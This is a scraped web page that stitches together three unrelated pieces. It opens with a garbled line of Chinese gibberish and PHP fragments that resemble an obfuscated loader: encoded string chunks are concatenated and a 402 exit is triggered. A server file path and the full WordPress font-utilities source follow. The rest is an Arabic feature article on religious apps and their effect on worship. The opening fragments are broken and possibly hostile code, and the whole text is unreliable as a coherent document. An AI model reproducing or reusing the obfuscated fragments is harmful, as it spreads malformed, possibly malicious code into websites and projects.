财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/fonts/class-wp-font-utils.php
<?php
/**
 * Font Utils class.
 *
 * Provides utility functions for working with font families.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * A class of utilities for working with the Font Library.
 *
 * These utilities may change or be removed in the future and are intended for internal use only.
 *
 * @since 6.5.0
 * @access private
 */
class WP_Font_Utils {
	/**
	 * Adds surrounding quotes to font family names that contain special characters.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 *
	 * @param string $item A font family name.
	 * @return string The font family name with surrounding quotes, if necessary.
	 */
	private static function maybe_add_quotes( $item ) {
		// Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
		$regex = '/^(?!generic\([a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/';
		$item  = trim( $item );
		if ( preg_match( $regex, $item ) ) {
			$item = trim( $item, "\"'" );
			return '"' . $item . '"';
		}
		return $item;
	}

	/**
	 * Sanitizes and formats font family names.
	 *
	 * - Applies `sanitize_text_field`.
	 * - Adds surrounding quotes to names containing any characters that are not alphabetic or dashes.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @see sanitize_text_field()
	 *
	 * @param string $font_family Font family name(s), comma-separated.
	 * @return string Sanitized and formatted font family name(s).
	 */
	public static function sanitize_font_family( $font_family ) {
		if ( ! $font_family ) {
			return '';
		}

		$output          = sanitize_text_field( $font_family );
		$formatted_items = array();
		if ( str_contains( $output, ',' ) ) {
			$items = explode( ',', $output );
			foreach ( $items as $item ) {
				$formatted_item = self::maybe_add_quotes( $item );
				if ( ! empty( $formatted_item ) ) {
					$formatted_items[] = $formatted_item;
				}
			}
			return implode( ', ', $formatted_items );
		}
		return self::maybe_add_quotes( $output );
	}

	/**
	 * Generates a slug from font face properties, e.g. `open sans;normal;400;100%;U+0-10FFFF`
	 *
	 * Used for comparison with other font faces in the same family, to prevent duplicates
	 * that would both match according the CSS font matching spec. Uses only simple case-insensitive
	 * matching for fontFamily and unicodeRange, so does not handle overlapping font-family lists or
	 * unicode ranges.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @link https://drafts.csswg.org/css-fonts/#font-style-matching
	 *
	 * @param array $settings {
	 *     Font face settings.
	 *
	 *     @type string $fontFamily   Font family name.
	 *     @type string $fontStyle    Optional font style, defaults to 'normal'.
	 *     @type string $fontWeight   Optional font weight, defaults to 400.
	 *     @type string $fontStretch  Optional font stretch, defaults to '100%'.
	 *     @type string $unicodeRange Optional unicode range, defaults to 'U+0-10FFFF'.
	 * }
	 * @return string Font face slug.
	 */
	public static function get_font_face_slug( $settings ) {
		$defaults = array(
			'fontFamily'   => '',
			'fontStyle'    => 'normal',
			'fontWeight'   => '400',
			'fontStretch'  => '100%',
			'unicodeRange' => 'U+0-10FFFF',
		);
		$settings = wp_parse_args( $settings, $defaults );
		if ( function_exists( 'mb_strtolower' ) ) {
			$font_family = mb_strtolower( $settings['fontFamily'] );
		} else {
			$font_family = strtolower( $settings['fontFamily'] );
		}
		$font_style    = strtolower( $settings['fontStyle'] );
		$font_weight   = strtolower( $settings['fontWeight'] );
		$font_stretch  = strtolower( $settings['fontStretch'] );
		$unicode_range = strtoupper( $settings['unicodeRange'] );

		// Convert weight keywords to numeric strings.
		$font_weight = str_replace( array( 'normal', 'bold' ), array( '400', '700' ), $font_weight );

		// Convert stretch keywords to numeric strings.
		$font_stretch_map = array(
			'ultra-condensed' => '50%',
			'extra-condensed' => '62.5%',
			'condensed'       => '75%',
			'semi-condensed'  => '87.5%',
			'normal'          => '100%',
			'semi-expanded'   => '112.5%',
			'expanded'        => '125%',
			'extra-expanded'  => '150%',
			'ultra-expanded'  => '200%',
		);
		$font_stretch     = str_replace( array_keys( $font_stretch_map ), array_values( $font_stretch_map ), $font_stretch );

		$slug_elements = array( $font_family, $font_style, $font_weight, $font_stretch, $unicode_range );

		$slug_elements = array_map(
			function ( $elem ) {
				// Remove quotes to normalize font-family names, and ';' to use as a separator.
				$elem = trim( str_replace( array( '"', "'", ';' ), '', $elem ) );

				// Normalize comma separated lists by removing whitespace in between items,
				// but keep whitespace within items (e.g. "Open Sans" and "OpenSans" are different fonts).
				// CSS spec for whitespace includes: U+000A LINE FEED, U+0009 CHARACTER TABULATION, or U+0020 SPACE,
				// which by default are all matched by \s in PHP.
				return preg_replace( '/,\s+/', ',', $elem );
			},
			$slug_elements
		);

		return sanitize_text_field( implode( ';', $slug_elements ) );
	}

	/**
	 * Sanitizes a tree of data using a schema.
	 *
	 * The schema structure should mirror the data tree. Each value provided in the
	 * schema should be a callable that will be applied to sanitize the corresponding
	 * value in the data tree. Keys that are in the data tree, but not present in the
	 * schema, will be removed in the sanitized data. Nested arrays are traversed recursively.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param array $tree   The data to sanitize.
	 * @param array $schema The schema used for sanitization.
	 * @return array The sanitized data.
	 */
	public static function sanitize_from_schema( $tree, $schema ) {
		if ( ! is_array( $tree ) || ! is_array( $schema ) ) {
			return array();
		}

		foreach ( $tree as $key => $value ) {
			// Remove keys not in the schema or with null/empty values.
			if ( ! array_key_exists( $key, $schema ) ) {
				unset( $tree[ $key ] );
				continue;
			}

			$is_value_array  = is_array( $value );
			$is_schema_array = is_array( $schema[ $key ] ) && ! is_callable( $schema[ $key ] );

			if ( $is_value_array && $is_schema_array ) {
				if ( wp_is_numeric_array( $value ) ) {
					// If indexed, process each item in the array.
					foreach ( $value as $item_key => $item_value ) {
						$tree[ $key ][ $item_key ] = isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] )
							? self::sanitize_from_schema( $item_value, $schema[ $key ][0] )
							: self::apply_sanitizer( $item_value, $schema[ $key ][0] );
					}
				} else {
					// If it is an associative or indexed array, process as a single object.
					$tree[ $key ] = self::sanitize_from_schema( $value, $schema[ $key ] );
				}
			} elseif ( ! $is_value_array && $is_schema_array ) {
				// If the value is not an array but the schema is, remove the key.
				unset( $tree[ $key ] );
			} elseif ( ! $is_schema_array ) {
				// If the schema is not an array, apply the sanitizer to the value.
				$tree[ $key ] = self::apply_sanitizer( $value, $schema[ $key ] );
			}

			// Remove keys with null/empty values.
			if ( empty( $tree[ $key ] ) ) {
				unset( $tree[ $key ] );
			}
		}

		return $tree;
	}

	/**
	 * Applies a sanitizer function to a value.
	 *
	 * @since 6.5.0
	 *
	 * @param mixed    $value     The value to sanitize.
	 * @param callable $sanitizer The sanitizer function to apply.
	 * @return mixed The sanitized value.
	 */
	private static function apply_sanitizer( $value, $sanitizer ) {
		if ( null === $sanitizer ) {
			return $value;

		}
		return call_user_func( $sanitizer, $value );
	}

	/**
	 * Returns the expected mime-type values for font files, depending on PHP version.
	 *
	 * This is needed because font mime types vary by PHP version, so checking the PHP version
	 * is necessary until a list of valid mime-types for each file extension can be provided to
	 * the 'upload_mimes' filter.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string[] A collection of mime types keyed by file extension.
	 */
	public static function get_allowed_font_mime_types() {
		$php_7_ttf_mime_type = PHP_VERSION_ID >= 70300 ? 'application/font-sfnt' : 'application/x-font-ttf';

		return array(
			'otf'   => 'application/vnd.ms-opentype',
			'ttf'   => PHP_VERSION_ID >= 70400 ? 'font/sfnt' : $php_7_ttf_mime_type,
			'woff'  => PHP_VERSION_ID >= 80112 ? 'font/woff' : 'application/font-woff',
			'woff2' => PHP_VERSION_ID >= 80112 ? 'font/woff2' : 'application/font-woff2',
		);
	}
}
التكنولوجيا تتسلل الي الممارسات الدينية – tahkoom.com
تفاعل

التكنولوجيا تتسلل الي الممارسات الدينية

كتبت مريم سمير

في عصر تتسارع فيه وتيرة التطورات التكنولوجية، أصبح من الواضح أن هذه التغيرات تؤثر بشكل عميق على جميع جوانب الحياة، بما في ذلك الممارسات الدينية. هذا التحقيق يستعرض كيف تؤثر التطبيقات الدينية على سلوكيات الأفراد ومعتقداتهم، وكيف يمكن أن تكون أداة لتعزيز الإيمان أو تهديداً لجذوره.

التطبيقات الدينية: أدوات جديدة للإيمان

تتعدد التطبيقات المستخدمة في الممارسات الدينية، وتلعب دورًا مهمًا في حياة المؤمنين. في المسيحية، يُعتبر تطبيق “أرثوذكسي” من أبرز الأدوات التي تساعد الأفراد في أداء الصلوات وقراءة الكتاب المقدس. يحتوي التطبيق على صلوات وأدعية تسهل على المستخدمين الالتزام بممارساتهم الروحية يوميًا.

 

أما في الإسلام، يبرز تطبيق “Majeed Quran” كمنصة تقدم تجربة قرآنية متكاملة، تشمل الصوتيات والواجهة البصرية، وتوفر للمستخدمين إمكانية الاستماع إلى تلاوات من قراء مشهورين. بالإضافة إلى ذلك، يوجد العديد من التطبيقات الأخرى مثل “Pro Muslim” التي توفر مواقيت الصلاة والأذكار، مما يسهم في تسهيل ممارسة الشعائر.

 

آراء الشيوخ والكهنة: وجهات نظر متعددة

تتباين آراء الشيوخ والكهنة حول تأثير التكنولوجيا على الدين. المعلمة أمل علي، خريجة علوم الشريعة، تشير إلى أن التطبيقات قد تلهي الأفراد عن العبادة، رغم فوائدها في تسهيل الوصول إلى المعرفة الدينية. إذ يمكن من خلال الإنترنت الاطلاع على فتاوى من مصادر موثوقة والتواصل مع رجال الدين.

 

في المقابل، الكاهن إبراهيم فؤاد يرى أن التكنولوجيا أصبحت وسيلة أسهل وأسرع للمؤمنين، خاصة في ظل الظروف الاستثنائية مثل جائحة كورونا، التي دفعت الكثيرين للاعتماد على التطبيقات لأداء شعائرهم. الكاهن داوود غبلاير يؤكد أن هذه التطبيقات تساعد جميع الفئات العمرية، بينما يعبر الكاهن يسطس صبحي عن أهمية عدم نسيان دور أماكن العبادة، مشددًا على أن التطبيقات ليست بديلاً عن التجمعات الروحية.

 

صوت المستخدمين: تجارب شخصية

تتباين آراء المستخدمين حول التطبيقات الدينية، مما يعكس تنوع التجارب. ففاطمة، مستخدمة نشطة، تجد أن التطبيقات تعزز من ارتباطها بدينها وتساعدها في تنظيم عباداتها. تقول: “تطبيقات الهاتف تساعدني في البقاء متصلة بديني وفي الوقت نفسه تسهل لي الكثير من الأمور الروحية”.

 

من جهة أخرى، يشير أحمد، شاب في العشرينات، إلى أن “الأجواء الروحية في المساجد لا يمكن تعويضها”، ويضيف أن التطبيقات قد تكون مفيدة، لكن لا يمكنها أن تحل محل التجمعات التقليدية. هذه الآراء تسلط الضوء على التحديات والفرص التي تقدمها التكنولوجيا.

 

المخاطر المحتملة: التحديات أمام الإيمان

رغم الفوائد التي تقدمها التطبيقات، هناك مخاطر ينبغي الانتباه إليها. من أبرز هذه المخاطر انتشار المعلومات الخاطئة، حيث يصعب التحقق من صحة المحتوى المتداول، مما قد يؤدي إلى نشر أفكار مضللة. كما أن الاعتماد المفرط على التكنولوجيا قد يؤدي إلى الشعور بالانعزال الاجتماعي، مما يؤثر سلبًا على الروابط المجتمعية.

 

إيجابيات التكنولوجيا: فوائد لا يمكن تجاهلها

تقدم التطبيقات الدينية مجموعة من الفوائد التي لا يمكن إغفالها. فهي تتيح سهولة الوصول إلى النصوص المقدسة، وتساعد في تنظيم الممارسات الدينية، مما يعزز الالتزام اليومي. بالإضافة إلى ذلك، تعزز هذه التطبيقات من التعلم والتفاعل، مما يسهم في فهم أعمق للدين.

 

توصيات لتحسين الاستخدام

لتحقيق توازن بين التكنولوجيا والتقاليد، ينبغي على المطورين:

 

  1. تقييم المحتوى: التعاون مع العلماء لضمان دقة المعلومات المقدمة، وإجراء مراجعات دورية للمحتوى.
  2. تعزيز التفاعل الإنساني: تنظيم فعاليات تجمع بين المستخدمين والخبراء في الدين، مثل الندوات وورش العمل.
  3. توفير موارد تعليمية متنوعة: إدماج محتوى تعليمي تفاعلي وجذاب، يشمل مقاطع الفيديو والدروس عبر الإنترنت.
  4. تشجيع الاستخدام الإيجابي: تطوير تطبيقات تساعد في تتبع تقدم المستخدمين في ممارساتهم الدينية، مما يعزز الانضباط الشخصي.

 

تتطلب التكنولوجيا المتزايدة في الممارسات الدينية وعياً عميقاً لتأثيرها على الإيمان، ومن الضروري الحفاظ على توازن بين استخدام التطبيقات والتمسك بالتقاليد الدينية لضمان استمرارية الروابط الروحية، كما يجب أن نعمل جميعًا على تعزيز استخدام التكنولوجيا كأداة لتعزيز الإيمان، مع الحرص على عدم فقدان الجوانب الروحية والاجتماعية التي توفرها التجمعات التقليدية.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى